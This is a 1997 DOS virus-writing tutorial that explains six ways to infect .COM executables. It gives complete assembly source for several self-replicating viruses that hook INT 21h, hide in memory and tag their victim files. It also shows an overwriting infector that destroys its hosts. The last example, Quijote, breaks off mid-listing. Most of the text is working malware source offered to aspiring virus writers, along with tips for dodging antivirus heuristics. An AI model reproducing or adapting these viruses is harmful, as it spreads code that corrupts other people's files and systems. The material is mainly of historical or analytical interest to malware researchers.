Six Ways For Infect
A COM
Written by Int13h
Paraguay 1997 - South America
INTRODUCTION
Welcome! The plane has already turned on the turbines and now the maneuvering is being started for taking off and contaminate the air. Myself, Int13h, will be your pilot during this little travel to the country of an only one segment called .COM application. When you'll descend of this ephemeral flight, you'll feel prepared for code .COM infectors by using diverse methods, or at least you'll have a much more clear view. I assume that the reader has enough knowledge of assembly and some experience in virus coding :). The example viruses included in this tutorial are coded in the simplest way that i could made, sacrificing speed and efficiency in some cases. Till the NOPs are commented :), they are naked of stealth, tunneling, and a lot of essential features for an actual virus.
For example, in the case of Hernani, the virus goes resident with a 64KB buffer! This is a lot of memory, and it's more logical to allocate temporally the free D.O.S. memory, for liberate it after infection, but this will make it harder and some readers will run away ;) The viruses aren't also coded for infect read-only files, and for redirect the critical error handler. The example codes of this tutorial were compiled, tested and approved with the Turbo Assembler 4.0 y el TLINK 6.10 of Borland International. After made the explanations, we start the take off. Tight your belts!
COM structure
One of the easiest structures of a D.O.S. executable program is the .COM's one. This kind of files has an only 64 kilobytes segment, and into this only segment happily live code, data and stack. In a .COM: CS=DS=SS=ES. All in one This kind of programs, just as the opposite of .EXEs, hasn't header, they are the exact copy of that will be in memory, what we'll see in the .COM will be the same that the memory content when we execute it (this can be easily checked with DEBUG). When a COM program is executed, the D.O.S. builds a PSP (Program Segment Prefix) starting at offset 0 of the free segment, and the PSP occupies 256 bytes (0x100).
Just after the PSP goes the .COM image, that is read from the file. Because this fact, the .COMs are org 100h because the PSP goes before. We have that a COM can occupy 64KB, including its PSP and space for stack. Doesn't matter that our .COM has only 200 bytes, the D.O.S will assign it a whole 64KB segment. If the COM has 200 bytes, added to the 256 of the PSP, whe have that it can only occupy in memory 456 bytes. What happens with the rest of segments? This part is called heap. We can use it as a buffer for everything that we want, for example for the DTA in the runtime infectors, o for the read of MBR in the multipartite viruses, or in what you can imagine.
Let's imagine that we have a file of 3KB in the disk:
0 100h 3KB
.-------------------------------------- - - - - -
| PSP | .COM code | This is the heap for
| | | friends :)
'-------------------------------------- - - - - -
PSP Structure
PSP=Program Segment Prefix. This is a control structure that D.O.S. builds when it's going to execute a program. It is very important, and it has some fields that i'm going to describe:
----------------------------------------------------------------
Offset
Field Dec Hex Length Description
----------------------------------------------------------------
1 0 0 2 INT 20h
2 2 2 2 Memory size
3 4 4 1 Reserved
4 5 5 5 Call to the dispatcher
5 10 A 4 INT 22h vector
6 14 E 4 INT 23h vector
7 18 12 4 INT 24h vector
8 22 16 22 Area used by DOS
9 44 2C 2 Segment of enviroment variables
10 46 2E 34 DOS work zone
11 80 50 3 Instructions INT 21h, RETF
12 83 53 2 Reserved
13 85 55 7 Extension of FCB N 1
14 92 5C 9 FCB N 1
15 101 65 7 Extension of FCB N 2
16 108 6C 20 FCB N 2
17 128 80 1 Command line length
18 129 81 127 Command line
19 128 80 128 DTA
We will see only some fields that are useful for the codes of this tutorial. The INT 20h that is at the beginning is used for jump there with a simple RET, and return control to DOS, because the stack always has in the stack a word pointing to CS:0000.
About the fields 13,14,15 and 16, the DOS builds these FCBs since the first pair of parameters, so the program that needs them can open them. With the manipulation via handles, the use of FCBs became obsolete, in the Hernani virus we will see a better use of this place.
Variables and Jumps
The variables are stored using an absolute address, the jumps are relatives to the actual IP. Let's clarify it with a simple example:
0100 EB07 JMP 109 ; EB opcode of jmp short. EB07 jumps to the 7 byte 0103 90 NOP ; counting since the end of the JMP, this can be 0104 90 NOP ; interpreted in other ways, but it always gives 0105 90 NOP ; the same result 0106 90 NOP 0107 90 NOP 0108 90 NOP 0109 90 NOP
Said in another form, the jumps (JMP) and the calls (CALL) doesn't suffer the problems with the moving of offsets, they will always jump x bytes before or x bytes after its actual position.
But the variables are stored in the absolute address form. Let's see a little example:
model tiny
code
org 100h
Fool: in ax,40h
mov word ptr [number],ax
int 20h
number dw 0
End Fool
This easy little program can be compiled in this way:
0100 E540 IN AX,40 0102 A330701 MOV [107],AX 0105 CD20 INT 20 0107 0000 ADD [BX+SI],AL
As it can be seen, the word type variable occupies the absolute addresses 107h and 108h when it will be in memory. The addres goes directly written in the instruction (A330->0701<-). 0701=0107 because the Intel reverse storing. What's the interest of all this? When we write our virus, and we append it, all our variables are bad addressed, so if we has in our virus:
mov word ptr [number],ax ; A3300701
When we receive the contol at this point, and save the AX content in the offset 107h and 108h overwriting code of our host. Then all is screwed, the virus writing is impossible... hey, a moment! and... what about if we do this?... yes, it works!
What we needed is to obtain a delta offset for address all our variables, obtain a shifting, that added to the absolute value of our variable, will point directly to it.
I feel like i am now going on and on more that a Gongora problem, but it doesn't matter, let's continue =)
For obtain the delta offset we have some methods, and this is the more common
Call Delta Delta: pop bp sub bp,offset Delta
The CALL leaves us in the stack the addres of the next instruction that is going to be executed when the RET will come. What we do is to load this value in BP, and after substract the offset of the subroutine, and in this way we have our master delta offset, and with it we can reference all our variables. In the first execution of the virus, the value of BP can be 0, and in a parasited host this will change. We can use whatever of the index register that we want, by using the indirect addressing (BX,SI,DI or BP). Then, with our master offset, instead of
mov word ptr [number],ax
mov si,offset Buffer
we will use
mov word ptr [bp+number],ax
lea si,[bp+offset Buffer]
And we all happy. The assembler compile all the .COM files calculating all the offset of the variables with base 100h, because PSP, of course. Another way for obtain the delta offset is:
mov bp,sp ; Get delta offset
int 12h ; A random int
Delta:mov bp,word ptr SS:[bp-06]
sub bp,offset Delta
InFeCtIoN mEtHoDs (All the ways lead us to the virus :)
Well, all the above will have been a truis for a lot of people, but not for all ;)
Because the simplycity of the .COMs, diverse methods were developed by the virus coders for do its infection. In this little tutorial we will see, with a lot of details and examples, six of these methods. Each one have its oddities, its little troubles and its solutions :) Let's begin then.
1.) Overwriting
I ingnore the reason because this rough method is included here, but i suspect it's for fill space :-) This is the lamest technique of all, it consists in the simply overwriting of the beginning of the host with the virus code, and when the host is executed, the virus takes the control, and as it hasn't saved the overwrited place of the host, it won't be able to return the control to it (the host). As it's at the beginning of the host, it doesn't need to calculate the delta offset because its variables are placed always at the same offset on they were compiled. This way of infection hurt the filesthat it infects, and it's very evident that there is going something wrong in our system. Arrrgh! Got antivirus.
Here is a little diagram of the "strategy" of this kind of virus:
INFECTION DIAGRAM
BEFORE AFTER
.--------. .--------.
|Program | Infection |VIRUSam |
'--------' '--------'
Below the example virus.
8<- [BEGIN] - - - - - - - - -<lamah.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Lamah
Method: Overwriting
Descr.: Overwriting direct action COM infector
tasm lamah.asm /m3
tlink lamah.obj /t
%
Lamah Segment
Assume cs:Lamah,ds:Lamah,ss:Lamah,es:Lamah
Org 100h
Longitud equ offset Heap-100h
LameVir:mov ah,4eh
xor cx,cx
mov dx,offset Victimas ; Looks for the first .COM
int 21h
jnc TestarMM
Restaurar:
mov ah,9
mov dx,offset Broma ; Print a text
int 21h
xor ax,ax ; And exit to dos
int 21h
TestarMM:
mov si,9eh ; There begins the name of the file
mov dx,si
cmp word ptr [si+2],"MM"; coMMand.com?
je Siguiente
mov ax,3d02h ; Open it
int 21h
xchg bx,ax ; bx=handle
mov ah,3fh
mov cx,2 ; We read 2 bytes
mov dx,offset Es_Lamer
int 21h
mov ax,word ptr [Es_Lamer]
cmp ax,'ZM' ; Is .EXE?
je Siguiente
cmp ax,04eb4h ; Is it infected
je Siguiente
mov ax,4200h ; Set pointer to the beginning of the file
xor cx,cx
xor dx,dx
int 21h
mov ax,5700h ; Save date and time
int 21h ; in stack
push cx
push dx
mov cx,Longitud ; Suriv size
mov dx,100h ; Virus start
mov ah,40h ; Write over file
int 21h
mov ax,5701h ; Restore date and time
pop dx
pop cx
int 21h
Siguiente:
mov ah,3eh ; Close
int 21h
mov ah,4fh ; Search next .COM
int 21h
jnc TestarMM
jmp Restaurar
; The author was afraid about signing, anonimous virus ;)
db ']-LAMAH VIRUS-['
Victimas db '*.com',0
Broma db 0dh,0ah,' WARNING! Lazy opcode 90h was found.'
db ' Consult Apocalipsis segment 8, offset 7.',0dh,0ah,024h
Heap: Es_Lamer dw 0 ; For read a pair of bytes
Lamah Ends
End LameVir
8<- [END] - - - - - - - - - -<lamah.asm>- - - - - - - - - - - - - - - >8
2.) Appending
The viric code is placed at the end of the host, and in the beginning of the host we write a jump that point to the virus. In this way, firstly receives the control the self-replicating code, that, at the same time, infects other programs or goes to memory, and after it restores the first 3 original bytes of the host to the beginning (in memory!), and then it jumps to the 100h addres, and the guest receives the control and it doesn't note anything.
INFECTION DIAGRAM
BEFORE AFTER
.--------. .--------------.
|Program | Infection | jrogramVIRUSP|
'--------' '--------------'
'-------' '--< original host bytes
Jump to the virus
8<- [BEGIN] - - - - - - - - -<macondo.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Macondo
Method: Added to the end
Descr.: Infects on execution, resident in Interrupt Vector Table (IVT)
%
Model Tiny
Code
Org 100h
VirusSize = (offset Fin-offset Inicio)
Inicio: call Delta
Delta: pop bp
sub bp,offset Delta
cld
xor bx,bx ; BX=0
mov es,bx ; ES=segment 0
cmp word ptr es:[0204h],0ed81h
je YaEnMemoria ; Macondo already in memory?
mov ax,3521h ; Ask for INT 21h handler
int 21h
mov [bp+word ptr ViejaINT21h+2],es
mov [bp+word ptr ViejaINT21h],bx
xor bx,bx ; We will live in the Interrupt Vector
mov es,bx ; Bable, at segment 0
mov di,0200h ; since offset 200h
lea si,[bp+offset Inicio]
mov cx,VirusSize ; Copy ourselves to IVT
rep movsb
push es
pop ds ; DS=ES=0
; As we will live in 200h, we will add 100h for make the variables point
; to the right place, because they are calculated as 100h as it's a .COM
mov dx,(offset Viral21Handler+100h)
mov ax,2521h ; We take INT 21h
int 21h
YaEnMemoria:
push cs cs
pop ds es
lea si,[bp+offset Originales]
mov di,100h ; Restore the original bytes
push di ; We bring 100h to the stack
movsw
movsw
xor bp,bp
xor di,di
xor cx,cx
xor si,si ; We clear the registers
xor ax,ax
xor bx,bx
xor dx,dx
ret
Viral21Handler:
cmp ah,04bh ; Execution?
je VerificarFile
INTDOS: db 0eah
ViejaINT21h dw 0,0
AlPrincipio:
mov ax,04200h ; Pointer to the beginning of the file
jmp short Arrastrarlo
AlFinal:mov ax,04202h ; Pointer to the end of the file
Arrastrarlo:
sub cx,cx
cwd ; xor dx,dx / sub dx,dx
int 21h
ret
VerificarFile:
push ax bx cx dx si di ds es
mov ax,3d02h ; Open fichero
int 21h
jc Popear ; If there was a program we cancel
xchg bx,ax ; Billy "Puertas" (Gates) coded the DOS...
push cs cs
pop ds es
mov dx,(offset Originales+0100h)
mov ah,03fh ; Read the first 4 bytes
mov cx,4
int 21h
mov si,dx
mov ax,[si]
add ah,al
cmp ah,167 ; MZ? ZM? It can be a misnamed .EXE
je Cerrar
cmp byte ptr [si+3],'' ; Ipor nde marker!
je Cerrar ; Already infected?
call AlFinal ; Move pointer to EOF
cmp ax,60666d ; It can't be too big
jnb Cerrar
cmp ax,666d ; It can't be too short... Lucifer rules >:)
jbe Cerrar
sub ax,3 ; Build the JMP to the virus
mov word ptr [(Salto+0100h)+1],ax
mov dx,200h ; Init of the virus in memory
mov ah,40h ; We write to the end of the host
mov cx,VirusSize
int 21h
call AlPrincipio ; We go to the beginning
mov ah,40h
mov dx,(offset Salto+100h)
mov cx,4 ; We write the jump
int 21h
Cerrar: mov ah,3eh ; Close the file
int 21h
Popear: pop es ds di si dx cx bx ax
jmp INTDOS ; Jumpt to the old handler
Originales db 090h,090h,0cdh,020h
Nombre db ' < MACONDO > by Int13h '
Salto db 0e9h,00h,00h,''
Fin:
End Inicio
8<- [END] - - - - - - - - -<macondo.asm>- - - - - - - - - - - - - - - >8
3.) Non-Destructive overwriting
That a virus of this kind must do is to copy to the end of the file the x bytes that are at the beginning, where x represents the size of the virus. After this, we overwrite the host with itself. For restore the control we need to copy to the beginning all the bytes of the host that we had stored at the end. There we have a little problem. Let's imagine what we do for return to its original location what we moved of the host.
0100 mov si,offset Codigo_del_Hoste 0103 mov di,100h 0106 mov cx,longitud_del_virus 0109 rep movsb
While we are executing this, we will move the original part over 100h, but we will overwrite all the code that is doing the shifting and all what goes after it, the code that will jump to 100h. Whatta problem, but there are always solutions. Do you remember the heap? It's the not used part by the .COM, what we can do is to infect the files that haven't size over 62000 bytes, and write over this zone the code for make the shifting, clear the registers and jump to 100h for return the control. Another memory zone that we can use is the offset 6ch of the PSP, that is the FCB N2, anyway any program i know use this zone. Ussually, the programs that use the old FCB methos have inside them special memory zones for that, and don't use the easiness of PSP. But this is another history. We don't need to calculate the delta offset because the infector code is in the beginning.
INFECTION DIAGRAM
BEFORE AFTER
.--------. .------------.
|Program | Infection |VIRUSamProgr|
'--------' '------------'
8<- [BEGIN] - - - - - - - - - -<lancelot.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Lancelot
Method: Non-destructive overwriting
Descr.: Infect .COMs and marks infection in the second field.
Resident with INT 27h. Copies its loader in the heap
%
model tiny
code
org 100h
jumps
Longitud = (offset Fin1-offset Inicio)
Inicio: mov ax,3521h ; Ask for INT 21h handler
int 21h
cmp bx,offset Handler_21h ; Look if the offset is equal
je Ya_en_Memoria ; Already installed
mov word ptr [Vieja21h],bx ; Save this information
mov word ptr [Vieja21h+2],es ; in our variables
mov ax,2521h ; Hook INT 21h
mov dx,offset Handler_21h
int 21h
mov ax,cs:[02ch] ; Environment Segment
mov es,ax
mov ah,49h ; Free segment
int 21h
mov dx,offset Fin2+1 ; Leave resident this amount
int 27h ; Control isn't returned
Ya_en_Memoria:
push cs ; Fix segments
pop es
mov si,offset Copier ; Move the little code to heap
mov di,64666 ; into this offset
mov ax,di ; Save the address for jump
movsw ; Copy...
movsw ; Sure, of course i know
movsw ; mov cx,5
movsw ; rep movsw!
movsw ; But in this way is more readable :P
movsb
db 0beh ; mov si,xx xx
Originales dw ? ; File end (Original data)
mov di,100h ; 100h, COM entry point
add si,di ; 100h, because PSP
push di ; Put it in stack
mov cx,Longitud ; What to move
xor bx,bx ; Clear bx
xor dx,dx ; Clear dx
jmp ax ; Jump to code (in heap)
Copier: repe movsb ; Made the copy
xor si,si ; Clear si
xor di,di ; Clear di
xor ax,ax ; Clear ax
xor cx,cx ; Clear cx
ret ; Execute host!
VirusName db " [Sir LANCELOT du Lake Virus]"
db " (c) Programmed by Sir INT13H du Madness"
db " Kingdom of Paraguay "
Handler_21h:
cmp ax,04b00h ; Execution?
je Infectar
Do_It: db 0eah ; Far jump to old handler
Vieja21h dd ? ; old handler
Infectar:
push ax bx cx dx si di es ds ; Save all
mov ax,3d02h ; Open DS:DX for read/write
int 21h
jc Popear ; Fux!
xchg bx,ax ; Handle in bx
mov ax,5700h ; Take date
int 21h
mov word ptr cs:[Fecha],dx ; Put in a variable date
mov word ptr cs:[Hora],cx ; Put in a variable hour
and cl,00011111b
cmp cl,00011110b ; 60 seconds?
je Cerrar ; Already infected!
push cs cs ; Fix segments
pop ds es
mov ah,3fh ; Read beginning of the file
mov cx,Longitud ; in our buffer
mov dx,offset Buffer
int 21h
mov si,dx
mov ax,[si] ; for comparison
add ah,al
cmp ah,167d ; MZ, ZM, etc.
je Cerrar
mov ax,4202h ; Pointer to the end
xor cx,cx
cwd
int 21h
and dx,dx ; More that one segment?
jnz Cerrar
cmp ax,63000d ; Not too big
ja Cerrar
cmp ax,666 ; Not too small
jbe Cerrar
mov word ptr [Originales],ax ; Save EOF
mov ah,40h
mov dx,offset Buffer ; Write the data at end
mov cx,Longitud
int 21h
mov ax,4200h
sub cx,cx ; Move pointer to the beginning
cwd
int 21h
mov ah,40h
mov dx,100h ; Write virus
mov cx,Longitud
int 21h
mov ax,5701h
db 0bah
Fecha dw 0 ; Return date and hour
db 0b9h
Hora dw 0
and cl,11100000b ; Mark as infected putting
or cl,00011110b ; 62 in the seconds field
int 21h
Cerrar: mov ah,3eh ; Close file
int 21h
Popear: pop ds es di si dx cx bx ax ; Restore registers
jmp Do_It ; Execute original INT 21h
Fin1: Buffer db (Longitud-2) dup (090h)
int 20h ; For the first execution
Fin2: ; end in memory
End Inicio
8<- [FIN] - - - - - - - - - -<lancelot.asm>- - - - - - - - - - - - - - - >8
4.) Shifting method
Consists in write completly at the beginning the virus code and after this the host. The elder virus Jerusalen does this. We need a 64K buffer, write there the viric code and after this the host. As i said, this of have a fixed buffer of 64K isn't the best idea, it's better to allocate more memory use it and free it after finishing the dirty work :) For restore the control we must move completly the code (always in memory!) from the host to 100h, and it can use the same considerations that the last method, at the problem of overwriting the code that is doing the move. This kind of infectors doesn't need delta offset.
INFECTION DIAGRAM
BEFORE AFTER
.--------. .-------------.
|Program | Infection |VIRUSProgram |
'--------' '-------------'
8< - [BEGIN] - - - - - - - - - -<hernani.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Virus Hernani
Method: Host shifting
Descr.: Resident by using the function 31h of INT 21h, infects on execution
marks files with the value of 62 in the second field.
Saves 64 kilobytes of memory, that are used as buffer for the host
reading just after the virus. For restore the control it copies the
restore code to the offset 6ch of PSP, that it's the FCB N2
%
model tiny
code
org 100h
Hernani:mov ax,3521h ; We ask for vector of the Int 21h
int 21h
cmp bx,offset Handler_21h ; Hernani already installed?
je Ya_en_Memoria
mov word ptr [Vieja21h],bx ; Save the handler's offset
mov word ptr [Vieja21h+2],es ; and the segment
mov ax,2521h ; Redirect the INT
mov dx,offset Handler_21h
int 21h
mov ax,cs:[02ch] ; Environment Segment
mov es,ax
mov ah,49h ; Free segment
int 21h
mov ax,3100h ; Terminate and stay resident
mov dx,1000h ; with a 64KB buffer!
int 21h ; It doesn't return the control
Ya_en_Memoria:
push cs ; Correct our Extra Segment
pop es
mov si,offset Copier ; Move the copier to PSP
mov di,06ch ; offset 06Ch, over the FCB N 2
mov ax,di ; Offset that we're going to jump
mov cx,5
repe movsw ; Move the return code
movsb
mov si,offset FinVirus ; Point to the original host
mov di,100h ; 100h, entry point of COM
push di ; 100h to the stack
db 0b9h ; mov cx,xx xx
Originales dw ? ; Original guest size
xor bx,bx ; Clear the
xor dx,dx ; registers, and after jump to the
jmp ax ; loader that we moved to PSP
; This is the code that we'll move over the FCB in the PSP
Copier: repe movsb ; Registers were already set-up!
sub si,si ; Clear the registers
xor di,di ; that we forgot to clear
sub ax,ax
xor cx,cx
ret ; And we run the host!
VirusName db " [HERNANI by Int13h] * Paraguay '97 "
Handler_21h:
cmp ax,04b00h ; Execution?
je Infectar
Do_It: db 0eah ; Far jump to the old handler
Vieja21h dd ?
Infectar:
push ax bx cx dx si di es ds ; Save all the registers
mov ax,3d02h ; Open DS:DX for read/write
int 21h
jc Popear ; Damn!
xchg bx,ax ; Handle in bx
mov ax,5700h ; Ask date/time
int 21h
mov word ptr cs:[Fecha],dx ; Save date
mov word ptr cs:[Hora],cx ; and time
and cl,00011111b ; Look infection mark
cmp cl,00011110b ; 60 seconds?
je Cerrar ; Already infected!
push cs cs ; es=ds=cs
pop ds es
mov ax,4202h ; Go to the END
xor cx,cx
cwd
int 21h
and dx,dx ; Bigger than a segment?
jnz Cerrar
cmp ax,64000d ; Not too big
ja Cerrar
cmp ax,666 ; Not too small
jbe Cerrar
mov word ptr [Originales],ax ; Save length!
mov ax,4200h ; Return to the beginning
cwd
sub cx,cx
int 21h
mov cx,word ptr [Originales] ; Read completly the file
mov ah,3fh ; in our buffer, because this
mov dx,offset FinVirus ; we need a big buffer
int 21h ; because the com can be big
mov si,dx
mov ax,[si] ; For make the comparison
add ah,al
cmp ah,167d ; MZ, ZM, etc.
je Cerrar
mov ax,4200h ; Move the pointer to the beginning
cwd
sub cx,cx
int 21h
mov ah,40h ; Write in the file
mov dx,100h ; Virus+Host
mov cx,(offset FinVirus-offset Hernani)
add cx,word ptr [Originales]
int 21h
mov ax,5701h
db 0bah ; mov dx,xx xx
Fecha dw 0 ; Restore date and time
db 0b9h ; mov cx,xx xx
Hora dw 0
and cl,11100000b ; Put value 62 in the seconds
or cl,00011110b ; field
int 21h
Cerrar: mov ah,3eh ; Close file
int 21h
Popear: pop ds es di si dx cx bx ax ; Restore registers
jmp Do_It ; And go to the old int 21h
FinVirus:
sub ax,ax ; Exit to DOS
int 21h ; Only first execution
End Hernani
8<- [END] - - - - - - - - - -<hernani.asm>- - - - - - - - - - - - - - - >8
5.) Jump redirection
This is a little variation of the appending, but it also can be used with the mid-file infectors. As we had viewed, in the appending viruses a jump to the virus code that it's at the end is inserted. What this kind of virus does is look for existing jumps in the host and redirect them for make them point to the virus, so it has the advantage that the jump isn't always at the beginning, and the heuristics can fade it, because this jump maybe can be executed only certain conditions. Let's assume that that in the offset 20h of the host we find a E901A0, a jump that is redirected to a critical error handler. If all is going right, this jump won't be executed and the virus won't receive the control, but if sometime an error happens, the host will redirect to this jump that gives the control to the virus, and it will wake up from its letargy of centuries with a tender breeze of big dead and putrid greatness (GGM!) :)
INFECTION DIAGRAM
BEFORE AFTER
.--------. .--------------.
|Program | Infection |PjrogramVIRUS |
'--------' '--------------'
'------'
8<- [BEGIN] - - - - - - - - -<nostra.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Nostradamus
Method: Jump redirectionalto
Descr.: Resident vir MCB manipulation, it has a 512 bytes buffer, there
it reads the host's code searching for the first jump and the first
call, if it founds it, it modifies them for point to the virus
and take the control temporally, and after this it restores the
registers and returns the control to the original desired offset.
tasm nostra /m2
tlink nostra /t
%
model tiny
code
jumps
org 100h
Largor equ (offset Visions-offset Nostradamus)
EnMemoria equ (offset FinEnMemoria-offset Nostradamus)
Parrafos1 equ ((EnMemoria+15)/16)+1
Parrafos2 equ ((EnMemoria+15)/16)
BuffSize equ 512d
Addme equ (offset Return_Control-offset Nostradamus)
NOSTRADAMUS:
pushf
push ax bx cx dx si di bp es ds
mov ax,'NS' ; Verify residence
int 21h
cmp ax,0cd13h
je Nostradamus_is_Alive ; We are already sucking memory
call Delta
Delta: pop bp ; Take the delta offset
sub bp,offset Delta
mov ax,3521h
int 21h ; Save int 21h handler
mov cs:[bp+word ptr Vetusta21h],bx
mov cs:[bp+word ptr Vetusta21h+2],es
mov ax,ds
dec ax ; MCB
mov es,ax
mov ax,es:[3]
sub ax,Parrafos1 ; Make place for the virus
xchg bx,ax
push ds
pop es
mov ah,4ah ; Free
int 21h
mov ah,48h
mov bx,Parrafos2 ; Allocate memory crazy and rash
int 21h
dec ax
mov es,ax
mov word ptr es:[1],8 ; It's tipical of Mr DOS
inc ax
mov es,ax ; This is our promised segment :)
xor di,di
push cs
pop ds
lea si,[bp+offset Nostradamus]
mov cx,Largor
rep movsb ; Settle the promised segment
push es
pop ds
mov ax,2521h ; Hook 21h
mov dx,(offset Centurias21h-100h)
int 21h
Nostradamus_is_Alive:
pop ds es bp di si dx cx bx ax
popf
; Here we jump to the original desired address
Return_Control db 0e9h,0,0
int 20h ; For the 1st generation
Centurias21h:
cmp ax,'NS' ; Residency check?
je Testeo
cmp ah,04bh ; Execution?
je Pudrirlo
Interrupcion_21h:
db 0eah
Vetusta21h dw 0,0
Testeo: mov ax,0cd13h
iret
Homenaje db ' [NOSTRADAMUS (c) Copyright Int13h] '
db '* Made in Paraguay - South America '
Pudrirlo:
push ax bx cx dx si di ds es
mov ax,3d02h
int 21h
jc Popeo
xchg bx,ax ; Wonderful DOS :)
mov ax,5700h
int 21h ; Ask time and date
mov word ptr cs:[(Hora-100h)],cx
mov word ptr cs:[(Fecha-100h)],dx
and cl,00011111b
cmp cl,00011110b ; 60?
je Closeo
push cs cs
pop ds es ; ES:=CS
mov ah,03fh ; Read 512 bytes to our buffer
mov dx,(offset Buffer-100h)
mov cx,BuffSize
int 21h
mov si,dx
mov ax,[si] ; The first pair of bites to AX
cmp al,0beh ; COMPACKed? (mov si,xxxx)
je Closeo
cmp al,0b8h ; PKLITEed? (mov ax,xxxx)
je Closeo
add ah,al
cmp ah,167d ; MZ or ZM?
je Closeo
call PunteroFin ; Go to EOF
and dx,dx ; Huge...
jnz Closeo
cmp ax,63000d ; Very big...
ja Closeo
cmp ax,666 ; Very little
jbe Closeo
push ax ; Save the size
mov si,(offset Buffer-100h) ; Point to our buffer
sub cx,cx ; Clear the counter
Buscar: lodsb ; Load the byte in al
cmp al,0e9h ; Is j (e9 xx xx)
je Hallado ; Jump found!
cmp al,0e8h ; Is un (e8 xx xx)
je Hallado ; Call found!
inc cx ; Continue searching...
cmp cx,Buffsize ; Had our buffer finished?
jbe Buscar ; Repeat if not yet
jmp short Closeo ; We didn't find anything, we don't infect
Hallado:mov dx,[si] ; Number of bytes to jump
add dx,cx ; Add the offset of the JMP/CALL to DX
pop ax ; Get the file size
push ax ; And put it in stack again
sub ax,dx ; EOF - DX
add ax,Addme ; (Return_Control-Virus beginning)
neg ax ; NEG it! Because it'll always go backwards
mov di,(offset Return_Control-100h)+1
stosw ; Write the calculated offset
pop ax ; We decrease the size again
sub ax,cx ; SUB offset where we found the JMP/CALL
sub ax,3 ; Things of JMP/CALL :)
mov di,si ; SI=DI
stosw ; Point to virus (EOF)
call PunteroInicio ; Move the pointer to the beginning
mov ah,40h ; Write to the file the modified buffer
mov dx,(offset Buffer-100h)
mov cx,BuffSize
int 21h
call PunteroFin ; Go to EOF
mov ah,40h
xor dx,dx ; Add virus...
mov cx,Largor
int 21h
mov cx,word ptr cs:[(Hora-100h)]
and cl,11100000b
or cl,00011110b ; 30*2=60!
mov dx,word ptr cs:[(Fecha-100h)]
mov ax,5701h ; Restore date and time, marked seconds
int 21h
Closeo: mov ah,3eh ; Let's end
int 21h
Popeo: pop es ds di si dx cx bx ax
jmp Interrupcion_21h
PunteroInicio:
mov ax,04200h ; BOF
jmp short Mover
PunteroFin:
mov ax,04202h ; EOF
Mover: xor cx,cx
cwd
int 21h
ret
db " Michel de Nostredame * 1503 - 1566 ",13,10
db " There's still time to understand his words "
Visions:
Hora dw 0 ; La hora del hoste
Fecha dw 0 ; La fecha del anfitrin
Buffer db BuffSize dup (0) ; Nostradamus's buffer
FinEnMemoria:
End Nostradamus
8<- [END] - - - - - - - - -<nostra.asm>- - - - - - - - - - - - - - - >8
6.) Random location
I love this kind of virus. It's places in any offset of the guest and receives the control by using a jump. It can be also called mid-file infection. The easiest way is to obtain randomly an offset between 3 and the (size of host-size of virus) and pleace it there, and after that write a jump at the beginning of the host that gives the control to the virus. This is the easiest way, but there are another better methods. The Literatura Virus builds a polymorphic header that gives the control to the virus anywhere it is. The Commander Bomber Virus of Dark Avenger builds little islands of polymorphic jumps and places them over the host, and the intention of this little islands of code is go passing the control until arrive to the virus code. I can say that the master Dark Avenger [CrazySoft] was the first one in use this method, as he was pioneer in another areas of virus coding. This guy is everywhere (zdravei!).
INFECTION DIAGRAM
BEFORE AFTER
.--------. .--------------.
|Program | Infection |jProgVIRUSram |
'--------' '--------------'
'----'
Jump to the virus
8<- [BEGIN] - - - - - - - - - -<quijote.asm>- - - - - - - - - - - - - - - >8
Comment %
Name : Quijote
Method: Random placing
Descr.: It's placed in a random offset of the host, the infection mark in
the seconds field, resident via MCB. Uses a random number generator.
%
Model Tiny
Code
Org 100h
Jumps
Heap equ (offset Final-offset Omega)
Largor equ (offset Omega-offset Quijote)
Parrafos equ ((Largor+Heap+15)/16)+1
QUIJOTE:call Sancho_Delta
Sancho_Delta:
pop bp
sub bp,offset Sancho_Delta
mov ax,'QJ'
int 21h
cmp ax,0cd13h
je QuijoteIsAlreadySuckingMemory
mov ax,3521h
int 21h
mov cs:[bp+word ptr Vieja21h],bx
mov cs:[bp+word ptr Vieja21h+2],es
mov ax,ds ; DS points to PSP
dec ax ; Substract a paragraph
mov ds,ax ; and we have the MCB
cmp byte ptr ds:[0],'Z' ; Z Block?
jne Quijoteisalreadysuckingmemory
sub word ptr ds:[3],Parrafos ; Free memory for the virus
sub word ptr ds:[12h],Parrafos ; We also modify in the PSP
mov ax,word ptr ds:[12h] ; the segment where load us
mov es,ax
push cs
pop ds
lea si,[bp+offset Quijote]
xor di,di
mov cx,Largor ; Copy
rep movsb
push es
pop ds
mov ax,2521h ; Hook the 21h
mov dx,(offset Quijote21h-100h)
int 21h
QuijoteIsAlreadySuckingMemory:
push cs cs
pop ds es
lea si,[bp+offset Primitivos]
mov di,100h
push di ; Fix the 3 bytes of 100h and push it
cld
movsw
movsb
lea si,[bp+offset Copier] ; Move the loader over the PSP
mov di,06ch ; offset 06Ch, over the FCB N 2
mov ax,di ; Push this offset for jump later
mov cx,5
repe movsw ; Copy all the words of the code
movsb ; and the lagged behind byte :)
mov cx,Largor ; Sucker's size
db 0beh ; Where the original bytes will be
Origen dw 0
add si,100h ; Because the PSP
db 0bfh ; Original bytes at this location
Destino dw 0
add di,100h ; We have always to have an account in PSP
xor bx,bx
xor dx,dx ; Clear the registers that we won't use
jmp ax ; And jump to the code sent to the PSP
Copier: repe movsb ; Make the copy
xor si,si ; Clear si
xor di,di ; Clear di
xor ax,ax ; Clear ax
xor cx,cx ; Clear cx
ret ; Execute host!
Quijote21h:
cmp ax,'QJ' ; Is Don Quijote de la Mancha alive?
je Chequeo
cmp ah,04bh ; Execution?
je InfectFile
Interrupcion_21h:
db 0eah
Vieja21h dw 0,0
ret
Chequeo:mov ax,0cd13h
iret
Brinco db 0e9h,00h,00h
Primitivos db 090h,0cdh,020h
InfectFile:
push ax bx cx dx si di ds es
mov ax,3d02h
int 21h ; Open victim
jc Popeo
xchg bx,ax
mov ax,5700h
int 21h
mov word ptr cs:[(Hora-100h)],cx
mov word ptr cs:[(Fecha-100h)],dx
and cl,00011111b
cmp cl,00011110b ; 30*2= 60?
je Closeo
push cs cs
pop ds es
mov ah,03fh
mov dx,(offset Primitivos-100h)
mov cx,3 ; Read the first 3 bytes
int 21h
mov si,dx
mov ax,[si]
add ah,al
cmp ah,167d
je Closeo
in ax,40h ; Read port 40h
mov word ptr [Semilla-100h],ax ; Get the seed
call PunteroFin
